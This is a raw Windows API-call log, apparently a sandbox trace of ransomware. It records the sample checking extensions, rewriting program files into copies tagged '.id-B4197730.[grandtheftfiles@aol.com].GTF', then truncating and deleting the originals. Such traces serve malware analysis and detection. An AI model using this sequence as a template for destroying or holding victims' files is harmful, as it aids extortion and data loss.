	[0163.181] lstrlenW (lpString=".7z") returned 3
	[0163.181] lstrcmpiW (lpString1=".7z", lpString2="rts") returned -1
	[0163.181] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts") returned 55
	[0163.181] lstrlenW (lpString=".dbf") returned 4
	[0163.181] lstrcmpiW (lpString1=".dbf", lpString2="erts") returned -1
	[0163.181] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts") returned 55
	[0163.181] lstrlenW (lpString=".1cd") returned 4
	[0163.181] lstrcmpiW (lpString1=".1cd", lpString2="erts") returned -1
	[0163.182] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts") returned 55
	[0163.182] lstrlenW (lpString=".jpg") returned 4
	[0163.182] lstrcmpiW (lpString1=".jpg", lpString2="erts") returned -1
	[0163.182] lstrcmpiW (lpString1=".0_144\\LICENSE", lpString2=".GTF") returned -1
	[0163.182] lstrlenW (lpString="LICENSE") returned 7
	[0163.182] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE" (normalized: "c:\\program files\\java\\jre1.8.0_144\\license"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x508
	[0163.182] GetFileSizeEx (in: hFile=0x508, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=40) returned 1
	[0163.182] CloseHandle (hObject=0x508) returned 1
	[0163.182] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE" (normalized: "c:\\program files\\java\\jre1.8.0_144\\license")) returned 0x20
	[0163.182] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\license.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0163.183] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE" (normalized: "c:\\program files\\java\\jre1.8.0_144\\license"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x508
	[0163.183] SetFilePointerEx (in: hFile=0x508, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.183] SetFilePointerEx (in: hFile=0x508, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.183] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\license.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0163.183] GetLastError () returned 0x0
	[0163.183] ReadFile (in: hFile=0x508, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x28, lpOverlapped=0x0) returned 1
	[0163.184] WriteFile (in: hFile=0x538, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x30, lpOverlapped=0x0) returned 1
	[0163.185] ReadFile (in: hFile=0x508, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0163.185] WriteFile (in: hFile=0x538, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0xe2, lpOverlapped=0x0) returned 1
	[0163.185] SetEndOfFile (hFile=0x538) returned 1
	[0163.186] CloseHandle (hObject=0x538) returned 1
	[0163.186] SetFilePointerEx (in: hFile=0x508, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.186] SetEndOfFile (hFile=0x508) returned 1
	[0163.190] CloseHandle (hObject=0x508) returned 1
	[0163.190] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0163.190] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE" (normalized: "c:\\program files\\java\\jre1.8.0_144\\license")) returned 1
	[0163.191] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 42
	[0163.191] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 42
	[0163.191] lstrlenW (lpString=".doc") returned 4
	[0163.191] lstrcmpiW (lpString1=".doc", lpString2="ENSE") returned -1
	[0163.191] lstrlenW (lpString=".docx") returned 5
	[0163.191] lstrcmpiW (lpString1=".docx", lpString2="CENSE") returned -1
	[0163.191] lstrlenW (lpString=".pdf") returned 4
	[0163.191] lstrcmpiW (lpString1=".pdf", lpString2="ENSE") returned -1
	[0163.191] lstrlenW (lpString=".xls") returned 4
	[0163.191] lstrcmpiW (lpString1=".xls", lpString2="ENSE") returned -1
	[0163.191] lstrlenW (lpString=".xlsx") returned 5
	[0163.191] lstrcmpiW (lpString1=".xlsx", lpString2="CENSE") returned -1
	[0163.191] lstrlenW (lpString=".ppt") returned 4
	[0163.191] lstrcmpiW (lpString1=".ppt", lpString2="ENSE") returned -1
	[0163.191] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 42
	[0163.191] lstrlenW (lpString=".zip") returned 4
	[0163.191] lstrcmpiW (lpString1=".zip", lpString2="ENSE") returned -1
	[0163.191] lstrlenW (lpString=".rar") returned 4
	[0163.191] lstrcmpiW (lpString1=".rar", lpString2="ENSE") returned -1
	[0163.192] lstrlenW (lpString=".bz2") returned 4
	[0163.192] lstrcmpiW (lpString1=".bz2", lpString2="ENSE") returned -1
	[0163.192] lstrlenW (lpString=".7z") returned 3
	[0163.192] lstrcmpiW (lpString1=".7z", lpString2="NSE") returned -1
	[0163.192] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 42
	[0163.192] lstrlenW (lpString=".dbf") returned 4
	[0163.192] lstrcmpiW (lpString1=".dbf", lpString2="ENSE") returned -1
	[0163.192] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 42
	[0163.192] lstrlenW (lpString=".1cd") returned 4
	[0163.192] lstrcmpiW (lpString1=".1cd", lpString2="ENSE") returned -1
	[0163.192] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 42
	[0163.192] lstrlenW (lpString=".jpg") returned 4
	[0163.192] lstrcmpiW (lpString1=".jpg", lpString2="ENSE") returned -1
	[0163.192] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 42
	[0163.192] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 42
	[0163.192] lstrlenW (lpString=".doc") returned 4
	[0163.192] lstrcmpiW (lpString1=".doc", lpString2="ENSE") returned -1
	[0163.192] lstrlenW (lpString=".docx") returned 5
	[0163.192] lstrcmpiW (lpString1=".docx", lpString2="CENSE") returned -1
	[0163.192] lstrlenW (lpString=".pdf") returned 4
	[0163.192] lstrcmpiW (lpString1=".pdf", lpString2="ENSE") returned -1
	[0163.192] lstrlenW (lpString=".xls") returned 4
	[0163.192] lstrcmpiW (lpString1=".xls", lpString2="ENSE") returned -1
	[0163.192] lstrlenW (lpString=".xlsx") returned 5
	[0163.192] lstrcmpiW (lpString1=".xlsx", lpString2="CENSE") returned -1
	[0163.192] lstrlenW (lpString=".ppt") returned 4
	[0163.192] lstrcmpiW (lpString1=".ppt", lpString2="ENSE") returned -1
	[0163.192] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 42
	[0163.192] lstrlenW (lpString=".zip") returned 4
	[0163.192] lstrcmpiW (lpString1=".zip", lpString2="ENSE") returned -1
	[0163.192] lstrlenW (lpString=".rar") returned 4
	[0163.192] lstrcmpiW (lpString1=".rar", lpString2="ENSE") returned -1
	[0163.192] lstrlenW (lpString=".bz2") returned 4
	[0163.192] lstrcmpiW (lpString1=".bz2", lpString2="ENSE") returned -1
	[0163.192] lstrlenW (lpString=".7z") returned 3
	[0163.192] lstrcmpiW (lpString1=".7z", lpString2="NSE") returned -1
	[0163.192] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 42
	[0163.193] lstrlenW (lpString=".dbf") returned 4
	[0163.193] lstrcmpiW (lpString1=".dbf", lpString2="ENSE") returned -1
	[0163.193] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 42
	[0163.193] lstrlenW (lpString=".1cd") returned 4
	[0163.193] lstrcmpiW (lpString1=".1cd", lpString2="ENSE") returned -1
	[0163.193] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 42
	[0163.193] lstrlenW (lpString=".jpg") returned 4
	[0163.193] lstrcmpiW (lpString1=".jpg", lpString2="ENSE") returned -1
	[0163.193] lstrcmpiW (lpString1=".0_144\\release", lpString2=".GTF") returned -1
	[0163.193] lstrlenW (lpString="release") returned 7
	[0163.193] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\release" (normalized: "c:\\program files\\java\\jre1.8.0_144\\release"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x508
	[0163.193] GetFileSizeEx (in: hFile=0x508, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=528) returned 1
	[0163.193] CloseHandle (hObject=0x508) returned 1
	[0163.193] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\release" (normalized: "c:\\program files\\java\\jre1.8.0_144\\release")) returned 0x20
	[0163.194] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\release.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\release.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0163.194] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\release" (normalized: "c:\\program files\\java\\jre1.8.0_144\\release"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x508
	[0163.194] SetFilePointerEx (in: hFile=0x508, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.194] SetFilePointerEx (in: hFile=0x508, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.194] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\release.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\release.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0163.195] GetLastError () returned 0x0
	[0163.195] ReadFile (in: hFile=0x508, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x210, lpOverlapped=0x0) returned 1
	[0163.197] WriteFile (in: hFile=0x530, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x220, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x220, lpOverlapped=0x0) returned 1
	[0163.198] ReadFile (in: hFile=0x508, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0163.198] WriteFile (in: hFile=0x530, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0xe2, lpOverlapped=0x0) returned 1
	[0163.198] SetEndOfFile (hFile=0x530) returned 1
	[0163.198] CloseHandle (hObject=0x530) returned 1
	[0163.199] SetFilePointerEx (in: hFile=0x508, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.199] SetEndOfFile (hFile=0x508) returned 1
	[0163.201] CloseHandle (hObject=0x508) returned 1
	[0163.201] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\release.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0163.202] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\release" (normalized: "c:\\program files\\java\\jre1.8.0_144\\release")) returned 1
	[0163.202] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 42
	[0163.202] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 42
	[0163.202] lstrlenW (lpString=".doc") returned 4
	[0163.202] lstrcmpiW (lpString1=".doc", lpString2="ease") returned -1
	[0163.202] lstrlenW (lpString=".docx") returned 5
	[0163.202] lstrcmpiW (lpString1=".docx", lpString2="lease") returned -1
	[0163.202] lstrlenW (lpString=".pdf") returned 4
	[0163.202] lstrcmpiW (lpString1=".pdf", lpString2="ease") returned -1
	[0163.202] lstrlenW (lpString=".xls") returned 4
	[0163.202] lstrcmpiW (lpString1=".xls", lpString2="ease") returned -1
	[0163.202] lstrlenW (lpString=".xlsx") returned 5
	[0163.202] lstrcmpiW (lpString1=".xlsx", lpString2="lease") returned -1
	[0163.202] lstrlenW (lpString=".ppt") returned 4
	[0163.202] lstrcmpiW (lpString1=".ppt", lpString2="ease") returned -1
	[0163.202] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 42
	[0163.202] lstrlenW (lpString=".zip") returned 4
	[0163.203] lstrcmpiW (lpString1=".zip", lpString2="ease") returned -1
	[0163.203] lstrlenW (lpString=".rar") returned 4
	[0163.203] lstrcmpiW (lpString1=".rar", lpString2="ease") returned -1
	[0163.203] lstrlenW (lpString=".bz2") returned 4
	[0163.203] lstrcmpiW (lpString1=".bz2", lpString2="ease") returned -1
	[0163.203] lstrlenW (lpString=".7z") returned 3
	[0163.203] lstrcmpiW (lpString1=".7z", lpString2="ase") returned -1
	[0163.203] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 42
	[0163.203] lstrlenW (lpString=".dbf") returned 4
	[0163.203] lstrcmpiW (lpString1=".dbf", lpString2="ease") returned -1
	[0163.203] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 42
	[0163.203] lstrlenW (lpString=".1cd") returned 4
	[0163.203] lstrcmpiW (lpString1=".1cd", lpString2="ease") returned -1
	[0163.203] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 42
	[0163.203] lstrlenW (lpString=".jpg") returned 4
	[0163.203] lstrcmpiW (lpString1=".jpg", lpString2="ease") returned -1
	[0163.203] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 42
	[0163.203] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 42
	[0163.203] lstrlenW (lpString=".doc") returned 4
	[0163.203] lstrcmpiW (lpString1=".doc", lpString2="ease") returned -1
	[0163.203] lstrlenW (lpString=".docx") returned 5
	[0163.203] lstrcmpiW (lpString1=".docx", lpString2="lease") returned -1
	[0163.203] lstrlenW (lpString=".pdf") returned 4
	[0163.203] lstrcmpiW (lpString1=".pdf", lpString2="ease") returned -1
	[0163.203] lstrlenW (lpString=".xls") returned 4
	[0163.203] lstrcmpiW (lpString1=".xls", lpString2="ease") returned -1
	[0163.203] lstrlenW (lpString=".xlsx") returned 5
	[0163.203] lstrcmpiW (lpString1=".xlsx", lpString2="lease") returned -1
	[0163.203] lstrlenW (lpString=".ppt") returned 4
	[0163.203] lstrcmpiW (lpString1=".ppt", lpString2="ease") returned -1
	[0163.203] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 42
	[0163.203] lstrlenW (lpString=".zip") returned 4
	[0163.203] lstrcmpiW (lpString1=".zip", lpString2="ease") returned -1
	[0163.203] lstrlenW (lpString=".rar") returned 4
	[0163.203] lstrcmpiW (lpString1=".rar", lpString2="ease") returned -1
	[0163.203] lstrlenW (lpString=".bz2") returned 4
	[0163.203] lstrcmpiW (lpString1=".bz2", lpString2="ease") returned -1
	[0163.204] lstrlenW (lpString=".7z") returned 3
	[0163.204] lstrcmpiW (lpString1=".7z", lpString2="ase") returned -1
	[0163.204] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 42
	[0163.204] lstrlenW (lpString=".dbf") returned 4
	[0163.204] lstrcmpiW (lpString1=".dbf", lpString2="ease") returned -1
	[0163.204] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 42
	[0163.204] lstrlenW (lpString=".1cd") returned 4
	[0163.204] lstrcmpiW (lpString1=".1cd", lpString2="ease") returned -1
	[0163.204] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 42
	[0163.204] lstrlenW (lpString=".jpg") returned 4
	[0163.204] lstrcmpiW (lpString1=".jpg", lpString2="ease") returned -1
	[0163.204] lstrcmpiW (lpString1=".exe", lpString2=".GTF") returned -1
	[0163.204] lstrlenW (lpString="whatsapp.exe") returned 12
	[0163.204] CreateFileW (lpFileName="C:\\Program Files\\Java\\whatsapp.exe" (normalized: "c:\\program files\\java\\whatsapp.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c
	[0163.389] GetFileSizeEx (in: hFile=0x42c, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=78336) returned 1
	[0163.418] CloseHandle (hObject=0x42c) returned 1
	[0163.418] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\whatsapp.exe" (normalized: "c:\\program files\\java\\whatsapp.exe")) returned 0x20
	[0163.418] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\whatsapp.exe.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\whatsapp.exe.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0163.419] CreateFileW (lpFileName="C:\\Program Files\\Java\\whatsapp.exe" (normalized: "c:\\program files\\java\\whatsapp.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0163.419] lstrlenW (lpString="C:\\Program Files\\Java\\whatsapp.exe") returned 34
	[0163.419] lstrlenW (lpString="C:\\Program Files\\Java\\whatsapp.exe") returned 34
	[0163.419] lstrlenW (lpString=".doc") returned 4
	[0163.419] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0163.419] lstrlenW (lpString=".docx") returned 5
	[0163.419] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1
	[0163.419] lstrlenW (lpString=".pdf") returned 4
	[0163.419] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0163.419] lstrlenW (lpString=".xls") returned 4
	[0163.419] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0163.419] lstrlenW (lpString=".xlsx") returned 5
	[0163.419] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1
	[0163.419] lstrlenW (lpString=".ppt") returned 4
	[0163.419] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0163.419] lstrlenW (lpString="C:\\Program Files\\Java\\whatsapp.exe") returned 34
	[0163.419] lstrlenW (lpString=".zip") returned 4
	[0163.419] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0163.419] lstrlenW (lpString=".rar") returned 4
	[0163.419] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0163.419] lstrlenW (lpString=".bz2") returned 4
	[0163.419] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0163.419] lstrlenW (lpString=".7z") returned 3
	[0163.419] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0163.419] lstrlenW (lpString="C:\\Program Files\\Java\\whatsapp.exe") returned 34
	[0163.419] lstrlenW (lpString=".dbf") returned 4
	[0163.419] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0163.419] lstrlenW (lpString="C:\\Program Files\\Java\\whatsapp.exe") returned 34
	[0163.419] lstrlenW (lpString=".1cd") returned 4
	[0163.419] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0163.419] lstrlenW (lpString="C:\\Program Files\\Java\\whatsapp.exe") returned 34
	[0163.419] lstrlenW (lpString=".jpg") returned 4
	[0163.419] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0163.420] lstrlenW (lpString="C:\\Program Files\\Java\\whatsapp.exe") returned 34
	[0163.420] lstrlenW (lpString="C:\\Program Files\\Java\\whatsapp.exe") returned 34
	[0163.420] lstrlenW (lpString=".doc") returned 4
	[0163.420] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0163.420] lstrlenW (lpString=".docx") returned 5
	[0163.420] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1
	[0163.420] lstrlenW (lpString=".pdf") returned 4
	[0163.420] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0163.420] lstrlenW (lpString=".xls") returned 4
	[0163.420] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0163.420] lstrlenW (lpString=".xlsx") returned 5
	[0163.420] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1
	[0163.420] lstrlenW (lpString=".ppt") returned 4
	[0163.420] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0163.420] lstrlenW (lpString="C:\\Program Files\\Java\\whatsapp.exe") returned 34
	[0163.420] lstrlenW (lpString=".zip") returned 4
	[0163.420] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0163.420] lstrlenW (lpString=".rar") returned 4
	[0163.420] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0163.420] lstrlenW (lpString=".bz2") returned 4
	[0163.420] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0163.420] lstrlenW (lpString=".7z") returned 3
	[0163.420] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0163.420] lstrlenW (lpString="C:\\Program Files\\Java\\whatsapp.exe") returned 34
	[0163.420] lstrlenW (lpString=".dbf") returned 4
	[0163.420] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0163.420] lstrlenW (lpString="C:\\Program Files\\Java\\whatsapp.exe") returned 34
	[0163.420] lstrlenW (lpString=".1cd") returned 4
	[0163.420] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0163.420] lstrlenW (lpString="C:\\Program Files\\Java\\whatsapp.exe") returned 34
	[0163.420] lstrlenW (lpString=".jpg") returned 4
	[0163.420] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0163.421] lstrcmpiW (lpString1=".dll", lpString2=".GTF") returned -1
	[0163.421] lstrlenW (lpString="api-ms-win-core-xstate-l2-1-0.dll") returned 33
	[0163.421] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528
	[0163.464] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=11616) returned 1
	[0163.464] CloseHandle (hObject=0x528) returned 1
	[0163.464] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll")) returned 0x220
	[0163.465] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0163.466] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0163.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll") returned 79
	[0163.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll") returned 79
	[0163.466] lstrlenW (lpString=".doc") returned 4
	[0163.466] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0163.466] lstrlenW (lpString=".docx") returned 5
	[0163.466] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0163.466] lstrlenW (lpString=".pdf") returned 4
	[0163.466] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0163.466] lstrlenW (lpString=".xls") returned 4
	[0163.466] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0163.466] lstrlenW (lpString=".xlsx") returned 5
	[0163.466] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0163.466] lstrlenW (lpString=".ppt") returned 4
	[0163.466] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0163.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll") returned 79
	[0163.467] lstrlenW (lpString=".zip") returned 4
	[0163.467] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0163.467] lstrlenW (lpString=".rar") returned 4
	[0163.467] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0163.467] lstrlenW (lpString=".bz2") returned 4
	[0163.467] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0163.467] lstrlenW (lpString=".7z") returned 3
	[0163.467] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0163.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll") returned 79
	[0163.467] lstrlenW (lpString=".dbf") returned 4
	[0163.467] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0163.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll") returned 79
	[0163.467] lstrlenW (lpString=".1cd") returned 4
	[0163.467] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0163.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll") returned 79
	[0163.467] lstrlenW (lpString=".jpg") returned 4
	[0163.467] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0163.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll") returned 79
	[0163.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll") returned 79
	[0163.467] lstrlenW (lpString=".doc") returned 4
	[0163.467] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
